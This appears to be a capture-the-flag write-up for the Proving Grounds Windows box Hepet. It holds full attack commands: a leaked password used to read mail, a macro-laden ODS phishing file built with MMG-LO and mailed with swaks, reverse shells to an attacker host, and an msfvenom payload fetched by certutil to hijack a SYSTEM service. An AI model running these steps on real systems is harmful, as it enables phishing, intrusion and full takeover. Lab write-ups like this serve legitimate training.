# Hepet Writeup - Proving Grounds

> Intermediate Windows box where a password leaked in an employee page's role field unlocks IMAP mail, a LibreOffice macro phishing email delivered over SMTP gives a user shell, and a writable VeyonService binary escalates to SYSTEM.

- **URL:** https://hackindex.io/writeups/hepet
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** information-disclosure, credential-reuse, phishing, smtp, privilege-escalation, service-hijacking
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Hepet chains a credential leak on a public employee page into a LibreOffice macro phishing email delivered over SMTP, then abuses a writable Windows service binary to escalate from a standard user to SYSTEM.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint services.

```bash
sudo nmap -Pn -n -p- -sCV --open $TARGET_IP
# PORT      STATE SERVICE       VERSION
# 25/tcp    open  smtp          ESMTP server
# 110/tcp   open  pop3          Mailserver pop3d
# 135/tcp   open  msrpc         Microsoft Windows RPC
# 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
# 143/tcp   open  imap          Mailserver imapd
# 443/tcp   open  ssl/https
# 445/tcp   open  microsoft-ds  Microsoft Windows
# 2224/tcp  open  http          Mailing list service
# 5040/tcp  open  unknown
# 8000/tcp  open  http          Company website
# 11100/tcp open  unknown
# 20001/tcp open  ftp           ftpd
# 33006/tcp open  unknown
# 49664-49670/tcp open msrpc    Microsoft Windows RPC
```

A full mail stack (SMTP, POP3, IMAP) alongside a company website on port 8000 points to a phishing angle rather than a direct web exploit. Anonymous FTP on port 20001 only holds an unrelated Vue.js project, a dead end.

### Web enumeration: port 8000

The *TIME TRAVEL* company page lists employees. One entry's role field holds what is clearly a password rather than a job title: user `jonas`, password `$JONAS_PASSWORD`.

## Enumeration

### IMAP login

Confirm the leaked credential against the exposed mail services.

```bash
curl -k "imaps://$TARGET_IP" --user jonas:$JONAS_PASSWORD
# * OK IMAP4 ready
# + Logged in
# * 5 messages in INBOX
```

Login succeeds, confirming the leaked password. Read the inbox directly over IMAP with netcat.

```bash
nc $TARGET_IP 143
a1 LOGIN jonas $JONAS_PASSWORD
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1:5 BODY[TEXT]
# a1 OK LOGIN completed
# * LIST () "/" "INBOX"
# a3 OK [READ-WRITE] SELECT completed
# <snip>
# Email #2: confirms the mail server opens attachments with LibreOffice
# Email #4: spreadsheets get sent to mailadmin
# a4 OK FETCH completed
```

Two emails matter: the mail server opens attachments with LibreOffice, and `mailadmin` is the user who receives spreadsheets. That is a LibreOffice macro phishing vector with a known target recipient.

## Exploitation

### Malicious ODS via MMG-LO

MMG-LO generates an ODS spreadsheet with an embedded macro that downloads and runs a PowerShell reverse shell when opened in LibreOffice.

```bash
git clone https://github.com/mgeeky/MMG-LO.git
cd MMG-LO
python3 mmg-ods.py windows $ATTACKER_IP $ATTACKER_PORT
# [+] Generating malicious ODS macro...
# [+] Written to file.ods
```

The macro fetches `powercat.ps1` and opens a reverse PowerShell session back to the attacker. Start a listener, then email the file to `mailadmin` with swaks. MMG-LO always names its output `file.ods`, so attach exactly that file.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
sudo swaks --to mailadmin@localhost --from jonas@localhost --server $TARGET_IP --port 25 --header "Subject: Spreadsheet" --body "Please review" --attach @file.ods
# === Trying $TARGET_IP:25...
# === Connected...
# -> DATA
# <- 250 2.0.0 Ok: queued
```

The mail server delivers the message to `mailadmin`, who opens the attachment in LibreOffice. The macro runs and the listener catches a reverse shell as `HEPET\Ela Arwel`.

## Privilege Escalation

### Service binary hijack: VeyonService

Enumerate services whose binary doesn't live under `C:\Windows`.

```powershell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*"} | Select-Object Name, PathName, StartMode, State
# Name           PathName                                        StartMode  State
# VeyonService   C:\Users\Ela Arwel\Veyon\veyon-service.exe      Auto       Running
```

`VeyonService` runs as SYSTEM with Auto start, from a binary inside Ela Arwel's own home directory. Check its permissions.

```powershell
icacls "C:\Users\Ela Arwel\Veyon\veyon-service.exe"
# NT AUTHORITY\SYSTEM:(I)(F)
# BUILTIN\Administrators:(I)(F)
# HEPET\Ela Arwel:(I)(F)
```

Ela Arwel has Full Control over a SYSTEM service binary. Generate a reverse shell executable and host it.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o veyon-service.exe
python3 -m http.server 8080
# Payload size: 324 bytes
# Saved as: veyon-service.exe
# Serving HTTP on 0.0.0.0 port 8080 ...
```

Start a second listener, then on target back up and replace the binary.

```bash
nc -lvnp $ATTACKER_PORT
```

```powershell
cd "C:\Users\Ela Arwel\Veyon"
move veyon-service.exe veyon-service.exe.bak
certutil -urlcache -f http://$ATTACKER_IP:8080/veyon-service.exe veyon-service.exe
# **** Online ****
# CertUtil: -URLCache command completed successfully.
```

Verify the downloaded file is close to the original payload size, a file only a few KB means the download grabbed an error page instead of the binary. `Stop-Service` fails without the right privilege, so force the Auto-start service to restart by rebooting the box.

```powershell
shutdown /r /t 0
```

After reboot, VeyonService auto-starts and executes the replaced binary, connecting back as SYSTEM.

Related

## References

- [MMG-LO](https://github.com/mgeeky/MMG-LO) - Malicious macro generator for LibreOffice, used to build the macro-laden ODS file.